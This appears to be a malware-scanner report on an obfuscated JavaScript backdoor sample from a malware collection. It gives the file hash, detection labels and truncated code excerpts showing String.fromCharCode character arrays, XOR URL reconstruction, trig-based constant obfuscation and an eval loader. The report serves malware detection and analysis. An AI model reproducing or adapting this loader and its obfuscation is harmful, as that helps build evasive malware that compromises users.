Suspicious ^80% javascript-malware-collection Download

20151217_ce69982b0caa85b01a660ce5957f79c5.js

Obfuscated C2 backdoor code

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25679660d33b149b21ad640d20d40bd90b23779616fe1be6f19c24d67d7b286a4a2

Evidence

Builds characters with String.fromCharCode line 2

2:154… 'r','%','p','o','o','y','-',',','W','&','.','t','q','B',',','3',String.fromCharCode(10),'P','!','[','5','F','_','l','(','[','g','b','0','>','*','t',String.fromCharCode(13),'k','0','p','_','Z','g','C','Q','z','G','*','t','K','^','s','(','&','F','r','<','f',',','2','Q','-','D','1','<','s','^','R','&','G','r','{','6','H','D','_','<','M','U','p','u','v',') …

XOR URL reconstruction call line 2

2:1862… 'Y','T',')','e','Z','{','j','b','[',';',']','?','=','V','l','(',String.fromCharCode(92),'_','3','G',']',']',':','t','h','^','j','p','.','T','[','_','x',' ','`','<',':',';','a','g','q','R','K','E','_','%','b','c','z','b','#','g',' ','K','h','d','D','e …

Calls JavaScript toString conversion method lines 4–10

4:44… BFBIrq){EWbj=EVqsOwNIygxCLaqzf(SlxLtgicOuq,KOLiXJFHGNMPF);MxJFd=EWbj.toString(BgBFBIrq);return MxJFd;}
5function AplCaEFvHVgwmjq(ETiPlOquGtNsJHgUC,xklLiDueBzbWzTVaXxzpPsTGANHoEdlwUS,PgFAFMjeGlQzSiweJbQHXVbHkyrAtlagAep){eval(ETiPlOquGtNsJHgUC);}
6function lmCgtlWyKpvHlPBptesNzDnBWTRYXhzqBcSBpAcRmZSJYfzHFVQSoH(zuDdxRmwVnjrj,TIcCXXfYaEzIXR){ return jPZRfla[XsnAOFiv[AFGLl(zuDdxRmwVnjrj[TIcCXXfYaEzIXR],(18073+491)/663,(9121+819)/994)]];}
7function jpgyYxf(jvbdckVxFhkFMEdDwXmlilLREppmYOcXvdAL) {return !aTMGqjfYZIg(CjhthfAOvilVwAl(jvbdckVxFhkFMEdDwXmlilLREppmYOcXvdAL)) && QHJGWrsqeYHa(jvbdckVxFhkFMEdDwXmlilLREppmYOcXvdAL);}
8function aTMGqjfYZIg(jRrosBqNwqTGxV) {return isNaN(jRrosBqNwqTGxV);}
9function QHJGWrsqeYHa(GncugCxGlUSwZ) {return isFinite(GncugCxGlUSwZ);}
10function EVqsOwNIygxCLaqzf(HEAyOvoGEI,NmrQzQjqVV) {return par …

Dense indexed short-token grid lines 12–13

12:33… KFRXSYt,PtDooIBtwuu) {zAdoIpDbHHlltn[oqaTjAKFRXSYt]=PtDooIBtwuu;}
13var Z = new Array();Z[0]=[];Z[0][0]='d';Z[0][1]='a';Z[0][2]='d';Z[0][3]='a';Z[0][4]='46';Z[0][5]='3d';Z[0][6]='42';Z[0][7]='14';Z[0][8]='34';Z[0][9]='14';Z[0][10]='25';Z[0][11]='14';Z[0][12]='16';Z[0][13]='47';Z[0][14]='3k';Z[0][15]='3d';Z[0][16]='44';Z[0][17]='3g';Z[0][18]='3l';Z[0][19]='3g';Z[0][20]='49';Z[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],Z[4],Z[5]];
20var lDoiyjyLx=[];
21function yfOyhnfdbobXcKnnB(LqVKU){oOjQyVzYWix= '';GFfKSFZKlSN=Math.round((Math.pow(Math.sin(971), 2) + Math.pow(Math.cos(971), 2) - 1));while(true){if (GFfKSFZKlSN >= (4982+142)/854){break;}lDoiyjyLx[GFfKSFZKlSN]=Math.round((Math.pow(Math.sin(782), 2) + Math.pow(Math.cos(782), 2) - 1)); while(true) { if(lDoiyjyLx[GFfKSFZKlSN] > LqVKU[GFfKSFZKlSN].length-(-198+840)/642) { break; } if (jpgyYxf(AFGLl(LqVKU[GFfKSFZKlSN][lDoiyjyLx[GFfKSFZKlSN]],(13837+667)/518,(4556+914)/547))) {oOjQyVzYWix += lmCgtlWyKpvHlPBptesNzDnBWTRYXhzqBcSBpAcRmZSJYfzHFVQSoH([LqVKU[GFfKSFZKlSN][lDoiyjyLx[GFfKSFZKlSN]]], Math.round((Math.pow(Math.sin(211), 2) + Math.pow(Math.cos(211), 2) - 1)));} lDoiyjyLx[GFfKSFZKlSN]++;}GFfKSFZKlSN++;} return oOjQyVzYWix}
22var NYNzuWpthkbUGPkwpNcIAQkXyKQDXbqyK = 'YBBeTZLvdtiZfAAHYlFaqLsBNzuShwXXKhfF';var KkYSeCCahHxTRiYWYwLpPIWfADLdJyJL = 'CqItDubUCOCslCehbGReDoZAjLZpFqLKdafv';AplCaEFvHVgwmjq(yfOyhnfdbobXcKnnB(LqVKU),NYNzuWpthkbUGPkwpNcIAQkXyKQDXbqyK,KkYSeCCahHxTRiYWYwLpPIWfADLdJyJL);